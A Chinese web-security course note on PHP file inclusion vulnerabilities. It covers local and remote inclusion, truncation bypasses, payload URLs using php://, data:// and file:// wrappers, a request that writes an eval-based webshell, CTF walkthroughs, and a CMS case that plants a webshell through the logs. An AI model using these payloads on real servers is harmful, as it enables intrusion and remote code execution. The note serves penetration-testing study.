• 31:WEB漏洞文件操作之文件包含漏洞全解


    思维导图

    知识点

    文件包含漏洞
    原理,检测,类型,利用,修复等
    
    原理:将文件以脚本执行
    
    文件包含各个脚本代码
    ASP,PHP,JSP,ASPXdeng
    <!--#include file="1.asp" -->
    <!--#include file="1.aspx" -->
    <c:import url="http://thief.one/1.jsp">
    <jsp:include page="head.jsp" />
    <?php include('test.php'); ?>
    
    本地包含-无限制,有限制
    
    http://127.0.0.1:8080/include.php?filename=1.txt
    http://127.0.0.1:8080/include.php?filename=../../../www.txt
    00截断:条件:magic_quotes_gpc = Off php版本<5.3.4
    http://127.0.0.1:8080/include.php?filename=../../../www.txt%00
    长度截断:条件:windows,点号需要长于256;linux长于4096
    
    远程包含-无限制,有限制
    
    http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt
    http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
    http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
    http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?
    
    各种协议流玩法
    
    php://
    1.读取文件源码用法
    http://127.0.0.1:8080/include.php?filename=php://filter/read=convert.base64-encode/resource=[文件名]
    
    2.执行php代码用法
    http://127.0.0.1:8080/include.php?file=php://input
    [POST DATA部分]
    <?php phpinfo(); ?>
    
    3.写入一句话木马用法
    http://127.0.0.1:8080/include.php?file=php://input
    [POST DATA部分]
    <?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
    
    data://
    执行php代码用法
    http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo();?>
    http://127.0.0.1:8080/include.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
    
    file://
    1.file://[文件的绝对路径和文件名]
    http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt
    2.[文件的相对路径和文件名]
    http://127.0.0.1:8080/include.php?filename=./phpinfo.txt
    
    其他参考:https://www.cnblogs.com/endust/p/11804767.html
    
    文件包含修复方案:
    
    <1>固定后缀:比如include($filename."html");,有绕过风险
    <2>固定文件:比如include("1.txt");
    <3>WAF产品。
    

    本课重点

    • 案例1:本地文件包含代码测试-原理
    • 案例2:远程文件包含代码测试-原理
    • 案例3:各种协议流提交流测试-协议
    • 案例4:CTF-南邮大,i春秋百度杯真题-白盒
    • 案例5:某CMS程序文件包含利用-黑盒

    案例1:本地文件包含代码测试-原理

    无限制

    文件包含漏洞原理,简单说,就是将文件以脚本执行。比如服务器本地有一个1.txt文件(里面是一个php脚本),还有一个文件包含漏洞。

    include.php

    <?php
    $filename=$_GET['filename'];
    include($filename);
    ?>
    

    1.txt

    <?php phpinfo(); ?>
    

    如果单纯地打开1.txt文件,里面的脚本不会执行,浏览器直接显示文件内容。如下图所示。

     

    如果配合文件包含漏洞,就会将文件以脚本执行。

    还可以执行其他文件夹下的脚本。 

    有限制

    include.php如下所示,限制文件后缀为.html

    <?php
    $filename=$_GET['filename'];
    include($filename."html");
    ?>
    

    此时 包含本地文件1.txt时报错,不再执行脚本

    绕过方法1:%00截断

    绕过方法2:长度截断,在filename=1.txt后面输入多个点号。windows点号需要长于256;linux长于4096

    PHP包含漏洞源码:https://pan.baidu.com/s/1x_mwVF--xxmoKAvDJ8mRsw 提取码:xiao

    案例2:远程文件包含代码测试-原理

    无限制

    php远程文件包含的前提条件是开启了allow_url_include

    攻击者服务器上有一个readme.txt,内容如下

    若目标网站上有一个文件上传漏洞(无限制)

    include.php

    <?php
    $filename=$_GET['filename'];
    include($filename);
    ?>

     那么可以在目标网站上包含攻击者服务器上的文件,执行脚本。

    若把文件内容改为一句话木马

    则可以利用文件包含漏洞执行使用菜刀等工具连接目标服务器。 

    有限制

    include.php如下所示,限制文件后缀为.html

    <?php
    $filename=$_GET['filename'];
    include($filename."html");
    ?>
    

    此时 包含远程文件readme.txt时报错,不再执行脚本

    绕过方法1:在后面加? 

     

    绕过方法2:在后面加%23

     

    绕过方法3:在后面加%20

     

    案例3:各种协议流提交流测试-协议

    各协议的利用条件和方法

    各语言对协议的支持

    <1>php://filter读取文件源码,结果base64编码,需要自行解码。

    http://127.0.0.1:8080/include.php?filename=php://filter/read=convert.base64-encode/resource=1.txt

    <2>php://input执行php代码

    <3>php://input写入一句话木马

    <4>file://访问本地文件

    <5>data://执行php代码

    案例4:CTF-南邮大,i春秋百度杯真题-白盒

    某CTF题

    <1>网站地址:http://4.chinalover.sinaapp.com/web7/index.php

    <2>尝试读取index.php内容,读取成功。

    http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

    <3>将返回值在本地base64解码,拿到flag。

    i春秋某Web Include CTF题

    <1>网站:https://www.ichunqiu.com/battalion?t=1&r=0

    首页打开如下图所示,说明含有文件包含漏洞。

    <2>尝试读取本目录下的文件结构,成功。

    <3>尝试读取dle345ae.php文件,成功拿到flag。

    <4>还可以使用php://filter协议,读取文件内容后,到本地base64解码,拿到flag。

    案例5:某CMS程序文件包含利用-黑盒

    <1>首页打开如下

    <2>在网上搜索易酷CMS是否有公开漏洞,搜到有本地文件包含漏洞。

    <3>将一句话木马写入日志中

    <4>服务器生成日志,里面有一句话木马。

    <5>利用文件包含漏洞与一句话木马,成功执行脚本。

  • 相关阅读:
    第11周学习进度条
    人月神话阅读笔记03
    人月神话阅读笔记02
    第10周学习进度条
    对各团队的评价意见
    第九周学习进度条
    《构建之法阅读笔记05》
    站立会议10
    第十一周学习进度
    cnblogs.com的用户体验
  • 原文地址:https://www.cnblogs.com/zhengna/p/15637657.html
Copyright © 2020-2023  润新知